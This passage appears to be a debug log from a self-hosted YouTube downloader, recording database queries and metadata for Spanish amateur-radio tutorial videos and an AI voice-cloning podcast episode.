Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "137 - CALCULAR IMPEDANCIA CABLE PARALELO NANOVNA MAGIA EN CUARTOS DE ONDA", "def5145f-63a4-4788-8912-a7e718fe8c33", 888, false, "tVvI3bkYU2Y", "https://www.youtube.com/watch?v=tVvI3bkYU2Y", 44, "/downloads/music/ea3grn/137 - CALCULAR IMPEDANCIA CABLE PARALELO NANOVNA MAGIA EN CUARTOS DE ONDA.m4a", false, false, false, 3, [], 98, ~U[2024-04-27 16:00:45Z], ~U[2026-02-07 21:32:44Z], ~U[2026-02-07 21:32:44Z], "Como medir, con ayuda de un nanoVNA, un cable paralelo para averiguar su impedancia. Muy útil para calcular baluns o diseñar lineas de alimentación paralela para antenas multibandas.\n\n\nContenido del video\n00:00 - Inicio\n00:29 - Intro canal\n00:46 - ¿Como lo medimos?\n01:46 - Transformadores de 1/4 onda\n03:10 - La fórmula\n05:40 - Midiendo con el nanoVNA\n12:27 - Calculando\n\n\n#radioaficionados #nanovna #impedancia #mediciones #diyelectronics #hamradio \n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "137 - CALCULAR IMPEDANCIA CABLE PARALELO NANOVNA MAGIA EN CUARTOS DE ONDA", 888, false, "tVvI3bkYU2Y", "https://www.youtube.com/watch?v=tVvI3bkYU2Y", "/downloads/music/ea3grn/137 - CALCULAR IMPEDANCIA CABLE PARALELO NANOVNA MAGIA EN CUARTOS DE ONDA.m4a", false, 3, ~U[2024-04-27 16:00:45Z]] 22:32:44.218 [debug] QUERY OK source="sources" db=0.5ms idle=42.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:32:44.219 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:32:44.220 [debug] QUERY OK source="media_items" db=0.5ms idle=5.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1381] 22:32:44.220 [debug] Current batch of media processed. Will check again in 1000ms 22:32:45.150 [debug] Current batch of media processed. Will check again in 1000ms 22:32:45.220 [debug] Current batch of media processed. Will check again in 1000ms 22:32:46.151 [debug] Current batch of media processed. Will check again in 1000ms 22:32:46.221 [debug] Current batch of media processed. Will check again in 1000ms 22:32:47.152 [debug] Current batch of media processed. Will check again in 1000ms 22:32:47.222 [debug] Current batch of media processed. Will check again in 1000ms 22:32:48.153 [debug] Current batch of media processed. Will check again in 1000ms 22:32:48.223 [debug] Current batch of media processed. Will check again in 1000ms 22:32:49.154 [debug] Current batch of media processed. Will check again in 1000ms 22:32:49.224 [debug] Current batch of media processed. Will check again in 1000ms 22:32:50.155 [debug] Current batch of media processed. Will check again in 1000ms 22:32:50.225 [debug] Current batch of media processed. Will check again in 1000ms 22:32:51.156 [debug] Current batch of media processed. Will check again in 1000ms 22:32:51.217 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:51.226 [debug] Current batch of media processed. Will check again in 1000ms 22:32:52.157 [debug] Current batch of media processed. Will check again in 1000ms 22:32:52.227 [debug] Current batch of media processed. Will check again in 1000ms 22:32:53.158 [debug] Current batch of media processed. Will check again in 1000ms 22:32:53.228 [debug] Current batch of media processed. Will check again in 1000ms 22:32:54.159 [debug] Current batch of media processed. Will check again in 1000ms 22:32:54.229 [debug] Current batch of media processed. Will check again in 1000ms 22:32:55.160 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "👉🏼 Episodio 8️⃣ : Clonación de Voz🎙️\n📢 Hoy en #iamique tenemos a un super experto de clonación de voz 🌟David García Martínez 🌟 , que junto conmigo os explicamos uno de los tipos de IA casi tan vieja como hashtag #chatgpt , son las IA's de clonación de Voz . \n\nEn concreto os vamos a hablar de hashtag#ElevenLabs una plataforma donde con solo la parte gratuita, ya puedes hacer un montón de cosas chulas\n\n⚠️ ... y también te las pueden hacer NO tan chulas.... te las explicamos y también como evitarlas ⚠️ \n\nAsí que ves hoy hay un tema fácil y chulo.... Los deberes que os ponemos para este finde.... espero de vuelta vuestros audios saludando a hashtag#IAMIQUE en 🉐 Coreano, 🉑 Japones o ㊙️ Chino.... Los que empecéis a hacer los deberes pronto tendréis premio 😉 ya os contaremos.\n\nBueno deja de leer lo importante es que veas el video .... y acuérdate un favorcillo🙏🏼: \n\n👐🏼 Dale a Compartir para darnos visibilidad\n✍🏼 Escribe un comentario y da feedback para que podamos saber tu opinión y mejorar\n🫶🏼 y ya la leche.... darnos un like (o no)\n🫵🏼 y siempre .... contamos contigo\n\n\n💪🏻🚀 \"See you in the future\" 😉\n\n#IAMIQUE hashtag#IAGEN #ChatGPT #elevenlabs #ClonacionVoz #IAGenerativa", "duration" => 572, "filename" => "/downloads/music/IA mí QUÉ/EP.8: Clonación de voz con IA.m4a", "id" => "V71rRR6Cu5U", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=V71rRR6Cu5U", "playlist_index" => 42, "timestamp" => 1745823997, "title" => "EP.8: Clonación de voz con IA", "upload_date" => "20250428"} 22:32:55.161 [debug] QUERY OK source="sources" db=0.6ms idle=1400.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:32:55.162 [debug] QUERY OK source="sources" db=0.4ms idle=1401.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:32:55.163 [debug] QUERY OK source="media_items" db=0.6ms idle=1401.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-28 07:06:37Z], 2] 22:32:55.189 [debug] QUERY OK source="media_items" db=25.4ms idle=967.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["👉🏼 Episodio 8️⃣ : Clonación de Voz🎙️\n📢 Hoy en #iamique tenemos a un super experto de clonación de voz 🌟David García Martínez 🌟 , que junto conmigo os explicamos uno de los tipos de IA casi tan vieja como hashtag #chatgpt , son las IA's de clonación de Voz . \n\nEn concreto os vamos a hablar de hashtag#ElevenLabs una plataforma donde con solo la parte gratuita, ya puedes hacer un montón de cosas chulas\n\n⚠️ ... y también te las pueden hacer NO tan chulas.... te las explicamos y también como evitarlas ⚠️ \n\nAsí que ves hoy hay un tema fácil y chulo.... Los deberes que os ponemos para este finde.... espero de vuelta vuestros audios saludando a hashtag#IAMIQUE en 🉐 Coreano, 🉑 Japones o ㊙️ Chino.... Los que empecéis a hacer los deberes pronto tendréis premio 😉 ya os contaremos.\n\nBueno deja de leer lo importante es que veas el video .... y acuérdate un favorcillo🙏🏼: \n\n👐🏼 Dale a Compartir para darnos visibilidad\n✍🏼 Escribe un comentario y da feedback para que podamos saber tu opinión y mejorar\n🫶🏼 y ya la leche.... darnos un like (o no)\n🫵🏼 y siempre .... contamos contigo\n\n\n💪🏻🚀 \"See you in the future\" 😉\n\n#IAMIQUE hashtag#IAGEN #ChatGPT #elevenlabs #ClonacionVoz #IAGenerativa", "EP.8: Clonación de voz con IA", "6feda779-4258-4aad-8892-1e79c777eb8e", 572, false, "V71rRR6Cu5U", "https://www.youtube.com/watch?v=V71rRR6Cu5U", 42, "/downloads/music/IA mí QUÉ/EP.8: Clonación de voz con IA.m4a", false, false, false, 2, [], 98, ~U[2025-04-28 07:06:37Z], ~U[2026-02-07 21:32:55Z], ~U[2026-02-07 21:32:55Z], "👉🏼 Episodio 8️⃣ : Clonación de Voz🎙️\n📢 Hoy en #iamique tenemos a un super experto de clonación de voz 🌟David García Martínez 🌟 , que junto conmigo os explicamos uno de los tipos de IA casi tan vieja como hashtag #chatgpt , son las IA's de clonación de Voz . \n\nEn concreto os vamos a hablar de hashtag#ElevenLabs una plataforma donde con solo la parte gratuita, ya puedes hacer un montón de cosas chulas\n\n⚠️ ... y también te las pueden hacer NO tan chulas.... te las explicamos y también como evitarlas ⚠️ \n\nAsí que ves hoy hay un tema fácil y chulo.... Los deberes que os ponemos para este finde.... espero de vuelta vuestros audios saludando a hashtag#IAMIQUE en 🉐 Coreano, 🉑 Japones o ㊙️ Chino.... Los que empecéis a hacer los deberes pronto tendréis premio 😉 ya os contaremos.\n\nBueno deja de leer lo importante es que veas el video .... y acuérdate un favorcillo🙏🏼: \n\n👐🏼 Dale a Compartir para darnos visibilidad\n✍🏼 Escribe un comentario y da feedback para que podamos saber tu opinión y mejorar\n🫶🏼 y ya la leche.... darnos un like (o no)\n🫵🏼 y siempre .... contamos contigo\n\n\n💪🏻🚀 \"See you in the future\" 😉\n\n#IAMIQUE hashtag#IAGEN #ChatGPT #elevenlabs #ClonacionVoz #IAGenerativa", "EP.8: Clonación de voz con IA", 572, false, "V71rRR6Cu5U", "https://www.youtube.com/watch?v=V71rRR6Cu5U", "/downloads/music/IA mí QUÉ/EP.8: Clonación de voz con IA.m4a", false, 2, ~U[2025-04-28 07:06:37Z]] 22:32:55.190 [debug] QUERY OK source="sources" db=0.6ms idle=428.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:32:55.191 [debug] QUERY OK source="media_profiles" db=0.5ms idle=28.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:32:55.192 [debug] QUERY OK source="media_items" db=0.5ms idle=28.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1350] 22:32:55.192 [debug] Current batch of media processed. Will check again in 1000ms 22:32:55.230 [debug] Current batch of media processed. Will check again in 1000ms 22:32:56.192 [debug] Current batch of media processed. Will check again in 1000ms 22:32:56.231 [debug] Current batch of media processed. Will check again in 1000ms 22:32:57.193 [debug] Current batch of media processed. Will check again in 1000ms 22:32:57.232 [debug] Current batch of media processed. Will check again in 1000ms 22:32:58.194 [debug] Current batch of media processed. Will check again in 1000ms 22:32:58.233 [debug] Current batch of media processed. Will check again in 1000ms 22:32:59.195 [debug] Current batch of media processed. Will check again in 1000ms 22:32:59.234 [debug] Current batch of media processed. Will check again in 1000ms 22:33:00.111 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:33:00.196 [debug] Current batch of media processed. Will check again in 1000ms 22:33:00.235 [debug] Current batch of media processed. Will check again in 1000ms 22:33:01.197 [debug] Current batch of media processed. Will check again in 1000ms 22:33:01.236 [debug] Current batch of media processed. Will check again in 1000ms 22:33:02.198 [debug] Current batch of media processed. Will check again in 1000ms 22:33:02.237 [debug] Current batch of media processed. Will check again in 1000ms 22:33:03.199 [debug] Current batch of media processed. Will check again in 1000ms 22:33:03.238 [debug] Current batch of media processed. Will check again in 1000ms 22:33:04.200 [debug] Current batch of media processed. Will check again in 1000ms 22:33:04.239 [debug] Current batch of media processed. Will check again in 1000ms 22:33:05.201 [debug] Current batch of media processed. Will check again in 1000ms 22:33:05.240 [debug] Current batch of media processed. Will check again in 1000ms 22:33:06.202 [debug] Current batch of media processed. Will check again in 1000ms 22:33:06.241 [debug] Current batch of media processed. Will check again in 1000ms 22:33:07.203 [debug] Current batch of media processed. Will check again in 1000ms 22:33:07.242 [debug] Current batch of media processed. Will check again in 1000ms 22:33:08.204 [debug] Current batch of media processed. Will check again in 1000ms 22:33:08.243 [debug] Current batch of media processed. Will check again in 1000ms 22:33:09.205 [debug] Current batch of media processed. Will check again in 1000ms 22:33:09.244 [debug] Current batch of media processed. Will check again in 1000ms 22:33:10.206 [debug] Current batch of media processed. Will check again in 1000ms 22:33:10.245 [debug] Current batch of media processed. Will check again in 1000ms 22:33:11.207 [debug] Current batch of media processed. Will check again in 1000ms 22:33:11.246 [debug] Current batch of media processed. Will check again in 1000ms 22:33:12.208 [debug] Current batch of media processed. Will check again in 1000ms 22:33:12.247 [debug] Current batch of media processed. Will check again in 1000ms 22:33:13.209 [debug] Current batch of media processed. Will check again in 1000ms 22:33:13.248 [debug] Current batch of media processed. Will check again in 1000ms 22:33:14.211 [debug] Current batch of media processed. Will check again in 1000ms 22:33:14.249 [debug] Current batch of media processed. Will check again in 1000ms 22:33:15.212 [debug] Current batch of media processed. Will check again in 1000ms 22:33:15.250 [debug] Current batch of media processed. Will check again in 1000ms 22:33:16.213 [debug] Current batch of media processed. Will check again in 1000ms 22:33:16.251 [debug] Current batch of media processed. Will check again in 1000ms 22:33:17.214 [debug] Current batch of media processed. Will check again in 1000ms 22:33:17.252 [debug] Current batch of media processed. Will check again in 1000ms 22:33:18.215 [debug] Current batch of media processed. Will check again in 1000ms 22:33:18.253 [debug] Current batch of media processed. Will check again in 1000ms 22:33:19.216 [debug] Current batch of media processed. Will check again in 1000ms 22:33:19.254 [debug] Current batch of media processed. Will check again in 1000ms 22:33:20.217 [debug] Current batch of media processed. Will check again in 1000ms 22:33:20.255 [debug] Current batch of media processed. Will check again in 1000ms 22:33:21.218 [debug] Current batch of media processed. Will check again in 1000ms 22:33:21.221 [info] {"source":"oban","duration":2445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:21.256 [debug] Current batch of media processed. Will check again in 1000ms 22:33:22.219 [debug] Current batch of media processed. Will check again in 1000ms 22:33:22.257 [debug] Current batch of media processed. Will check again in 1000ms 22:33:23.220 [debug] Current batch of media processed. Will check again in 1000ms 22:33:23.258 [debug] Current batch of media processed. Will check again in 1000ms 22:33:24.221 [debug] Current batch of media processed. Will check again in 1000ms 22:33:24.259 [debug] Current batch of media processed. Will check again in 1000ms 22:33:25.222 [debug] Current batch of media processed. Will check again in 1000ms 22:33:25.260 [debug] Current batch of media processed. Will check again in 1000ms 22:33:26.223 [debug] Current batch of media processed. Will check again in 1000ms 22:33:26.261 [debug] Current batch of media processed. Will check again in 1000ms 22:33:27.224 [debug] Current batch of media processed. Will check again in 1000ms 22:33:27.262 [debug] Current batch of media processed. Will check again in 1000ms 22:33:28.225 [debug] Current batch of media processed. Will check again in 1000ms 22:33:28.263 [debug] Current batch of media processed. Will check again in 1000ms 22:33:29.226 [debug] Current batch of media processed. Will check again in 1000ms 22:33:29.264 [debug] Current batch of media processed. Will check again in 1000ms 22:33:30.227 [debug] Current batch of media processed. Will check again in 1000ms 22:33:30.265 [debug] Current batch of media processed. Will check again in 1000ms 22:33:31.228 [debug] Current batch of media processed. Will check again in 1000ms 22:33:31.266 [debug] Current batch of media processed. Will check again in 1000ms 22:33:32.229 [debug] Current batch of media processed. Will check again in 1000ms 22:33:32.267 [debug] Current batch of media processed. Will check again in 1000ms 22:33:33.230 [debug] Current batch of media processed. Will check again in 1000ms 22:33:33.268 [debug] Current batch of media processed. Will check again in 1000ms 22:33:34.231 [debug] Current batch of media processed. Will check again in 1000ms 22:33:34.270 [debug] Current batch of media processed. Will check again in 1000ms 22:33:35.232 [debug] Current batch of media processed. Will check again in 1000ms 22:33:35.270 [debug] Current batch of media processed. Will check again in 1000ms 22:33:36.233 [debug] Current batch of media processed. Will check again in 1000ms 22:33:36.271 [debug] Current batch of media processed. Will check again in 1000ms 22:33:37.234 [debug] Current batch of media processed. Will check again in 1000ms 22:33:37.272 [debug] Current batch of media processed. Will check again in 1000ms 22:33:38.235 [debug] Current batch of media processed. Will check again in 1000ms 22:33:38.273 [debug] Current batch of media processed. Will check again in 1000ms 22:33:39.239 [debug] Current batch of media processed. Will check again in 1000ms 22:33:39.276 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Os describo en este video mi experiencia y el paso a paso para montar el receptor de HF basado en el SI4732 en los Quansheng K6 y K5. Espero os sea útil y os guste.\n\nCompra hardware:\n\nhttps://es.aliexpress.com/item/1005006603092025.html\n\nGUIA:\n\nhttp://www.hamskey.com/2024/04/introduction-to-uv-k5-hf-05-fullband.html\nhttp://www.hamskey.com/2024/02/uv-k5s-hf-full-band-reception-lsb-usb.html\n\n\nSOFTWARE:\n\nhttps://github.com/phdlee/uvk5cec/releases/tag/v_01HF\nhttps://github.com/phdlee/uvk5cec/releases/download/v_01HF/CEC_05.HF.packed.bin\n\nSoftware de programación:\n\nhttp://en.qsfj.com/support/downloads/3002\n\n\n#si4732 #quansheng #radioaficionados #hamradio #k6 #k5 #hf #mw #lw\n\n\n\nContenido del video\n00:00 - Presentación\n00:57 - Intro Canal\n01:15 - Descripción de la modificacion\n03:40 - Contenido del kit\n04:04 - Abriendo el walkie\n08:50 - Que vamos a hacer...\n10:05 - Empezamos a desoldar\n13:58 - Empezamos a soldar...\n15:53 - Verificando soldaduras\n18:40 - Ensamblando walkie\n23:44 - Actualización firmware\n26:55 - Como se usa\n31:10 - Escuchando...\n35:54 - Pruebas con tinySA\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 2717, "filename" => "/downloads/music/ea3grn/136 - MODIFICAR QUANSHENG K5 CON UN SI4732 EN UN RECEPTOR HF.m4a", "id" => "pH8hcqbHS3E", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=pH8hcqbHS3E", "playlist_index" => 45, "timestamp" => 1714060973, "title" => "136 - MODIFICAR QUANSHENG K5 CON UN SI4732 EN UN RECEPTOR HF", "upload_date" => "20240425"} 22:33:39.283 [debug] QUERY OK source="sources" db=5.5ms queue=0.1ms idle=998.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:33:39.292 [debug] QUERY OK source="sources" db=1.0ms queue=6.0ms idle=522.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:33:39.294 [debug] QUERY OK source="media_items" db=1.7ms queue=0.2ms idle=529.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-04-25 16:02:53Z], 3] 22:33:39.298 [debug] QUERY OK source="media_items" db=3.1ms idle=532.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Os describo en este video mi experiencia y el paso a paso para montar el receptor de HF basado en el SI4732 en los Quansheng K6 y K5. Espero os sea útil y os guste.\n\nCompra hardware:\n\nhttps://es.aliexpress.com/item/1005006603092025.html\n\nGUIA:\n\nhttp://www.hamskey.com/2024/04/introduction-to-uv-k5-hf-05-fullband.html\nhttp://www.hamskey.com/2024/02/uv-k5s-hf-full-band-reception-lsb-usb.html\n\n\nSOFTWARE:\n\nhttps://github.com/phdlee/uvk5cec/releases/tag/v_01HF\nhttps://github.com/phdlee/uvk5cec/releases/download/v_01HF/CEC_05.HF.packed.bin\n\nSoftware de programación:\n\nhttp://en.qsfj.com/support/downloads/3002\n\n\n#si4732 #quansheng #radioaficionados #hamradio #k6 #k5 #hf #mw #lw\n\n\n\nContenido del video\n00:00 - Presentación\n00:57 - Intro Canal\n01:15 - Descripción de la modificacion\n03:40 - Contenido del kit\n04:04 - Abriendo el walkie\n08:50 - Que vamos a hacer...\n10:05 - Empezamos a desoldar\n13:58 - Empezamos a soldar...\n15:53 - Verificando soldaduras\n18:40 - Ensamblando walkie\n23:44 - Actualización firmware\n26:55 - Como se usa\n31:10 - Escuchando...\n35:54 - Pruebas con tinySA\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "136 - MODIFICAR QUANSHENG K5 CON UN SI4732 EN UN RECEPTOR HF", "bebb56da-6ccd-4f0a-913c-ef4993f7e605", 2717, false, "pH8hcqbHS3E", "https://www.youtube.com/watch?v=pH8hcqbHS3E", 45, "/downloads/music/ea3grn/136 - MODIFICAR QUANSHENG K5 CON UN SI4732 EN UN RECEPTOR HF.m4a", false, false, false, 3, [], 98, ~U[2024-04-25 16:02:53Z], ~U[2026-02-07 21:33:39Z], ~U[2026-02-07 21:33:39Z], "Os describo en este video mi experiencia y el paso a paso para montar el receptor de HF basado en el SI4732 en los Quansheng K6 y K5. Espero os sea útil y os guste.\n\nCompra hardware:\n\nhttps://es.aliexpress.com/item/1005006603092025.html\n\nGUIA:\n\nhttp://www.hamskey.com/2024/04/introduction-to-uv-k5-hf-05-fullband.html\nhttp://www.hamskey.com/2024/02/uv-k5s-hf-full-band-reception-lsb-usb.html\n\n\nSOFTWARE:\n\nhttps://github.com/phdlee/uvk5cec/releases/tag/v_01HF\nhttps://github.com/phdlee/uvk5cec/releases/download/v_01HF/CEC_05.HF.packed.bin\n\nSoftware de programación:\n\nhttp://en.qsfj.com/support/downloads/3002\n\n\n#si4732 #quansheng #radioaficionados #hamradio #k6 #k5 #hf #mw #lw\n\n\n\nContenido del video\n00:00 - Presentación\n00:57 - Intro Canal\n01:15 - Descripción de la modificacion\n03:40 - Contenido del kit\n04:04 - Abriendo el walkie\n08:50 - Que vamos a hacer...\n10:05 - Empezamos a desoldar\n13:58 - Empezamos a soldar...\n15:53 - Verificando soldaduras\n18:40 - Ensamblando walkie\n23:44 - Actualización firmware\n26:55 - Como se usa\n31:10 - Escuchando...\n35:54 - Pruebas con tinySA\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "136 - MODIFICAR QUANSHENG K5 CON UN SI4732 EN UN RECEPTOR HF", 2717, false, "pH8hcqbHS3E", "https://www.youtube.com/watch?v=pH8hcqbHS3E", "/downloads/music/ea3grn/136 - MODIFICAR QUANSHENG K5 CON UN SI4732 EN UN RECEPTOR HF.m4a", false, 3, ~U[2024-04-25 16:02:53Z]] 22:33:39.300 [debug] QUERY OK source="sources" db=0.6ms idle=16.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", 